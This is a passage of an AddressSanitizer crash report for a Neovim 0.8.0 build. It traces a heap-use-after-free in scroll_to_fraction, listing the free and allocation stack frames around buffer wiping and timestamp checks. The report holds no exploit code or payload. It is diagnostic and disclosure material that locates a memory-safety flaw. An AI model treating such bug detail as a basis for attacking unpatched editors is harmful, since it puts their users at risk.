0x908fbe in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1085:5\n    #31 0x90e10e in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1222:5\n    #32 0x905ccb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1562:17\n    #33 0x904445 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #34 0x920517 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #35 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #36 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #37 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #38 0x981a93 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #39 0x10bc92b in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/testing.c:483:3\n    #40 0x86ccd8 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:205:3\n    #41 0x905f58 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1571:15\n    #42 0x904445 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #43 0x920517 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #44 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #45 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #46 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #47 0x908fbe in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1085:5\n    #48 0x90e10e in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1222:5\n    #49 0x905ccb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1562:17\n    #50 0x904445 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #51 0x920517 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #52 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #53 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #54 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #55 0xf058d9 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n    #56 0xf02ab2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n    #57 0xf02810 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n    #58 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #59 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #60 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #61 0x981a93 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #62 0xb8b4f0 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1807:5\n    #63 0xb80c42 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:534:5\n    #64 0x7ff0c3858082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #65 0x466f9d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.0-ASAN+0x466f9d)\n\n0x627000007108 is located 8 bytes inside of 12320-byte region [0x627000007100,0x62700000a120)\nfreed by thread T0 here:\n    #0 0x4df45d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.0-ASAN+0x4df45d)\n    #1 0xc69634 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:128:3\n    #2 0x6b3a34 in free_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:811:5\n    #3 0x6af391 in close_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:642:5\n    #4 0x6ce29c in wipe_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:4192:3\n    #5 0x6ce15c in buf_contents_changed /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:4175:5\n    #6 0xa45fee in buf_check_timestamp /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:4818:51\n    #7 0x959873 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2446:13\n    #8 0x9ab425 in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5231:9\n    #9 0x9b07d8 in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5160:3\n    #10 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #11 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #12 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #13 0x908fbe in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1085:5\n    #14 0x90e10e in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1222:5\n    #15 0x905ccb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1562:17\n    #16 0x904445 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #17 0x920517 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #18 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #19 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #20 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #21 0x981a93 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #22 0x10bc92b in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/testing.c:483:3\n    #23 0x86ccd8 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:205:3\n    #24 0x905f58 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1571:15\n    #25 0x904445 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #26 0x920517 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #27 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #28 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #29 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n\npreviously allocated by thread T0 here:\n    #0 0x4df852 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.0-ASAN+0x4df852)\n    #1 0xc696ce in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:142:15\n    #2 0x6b8629 in buflist_new /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1775:11\n    #3 0x6cdd52 in buf_contents_changed /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:4141:19\n    #4 0xa45fee in buf_check_timestamp /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:4818:51\n    #5 0x959873 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2446:13\n    #6 0x9ab425 in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5231:9\n    #7 0x9b07d8 in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5160:3\n    #8 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #9 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #10 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #11 0x908fbe in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1085:5\n    #12 0x90e10e in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1222:5\n    #13 0x905ccb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1562:17\n    #14 0x904445 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #15 0x920517 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #16 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #17 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #18 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #19 0x981a93 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #20 0x10bc92b in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/testing.c:483:3\n    #21 0x86ccd8 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:205:3\n    #22 0x905f58 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1571:15\n    #23 0x904445 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #24 0x920517 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #25 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #26 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #27 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #28 0x908fbe in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1085:5\n    #29 0x90e10e in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1222:5\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/window.c:6086:39 in scroll_to_fraction\nShadow bytes around the buggy address:\n  0x0c4e7fff8dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fff8de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fff8df0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fff8e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fff8e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n=>0x0c4e7fff8e20: fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff8e30: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff8e40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff8e50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff8e60: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff8e70: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==4689==ABORTING", "creation_timestamp": "2026-09-21T03:36:10.922247Z"}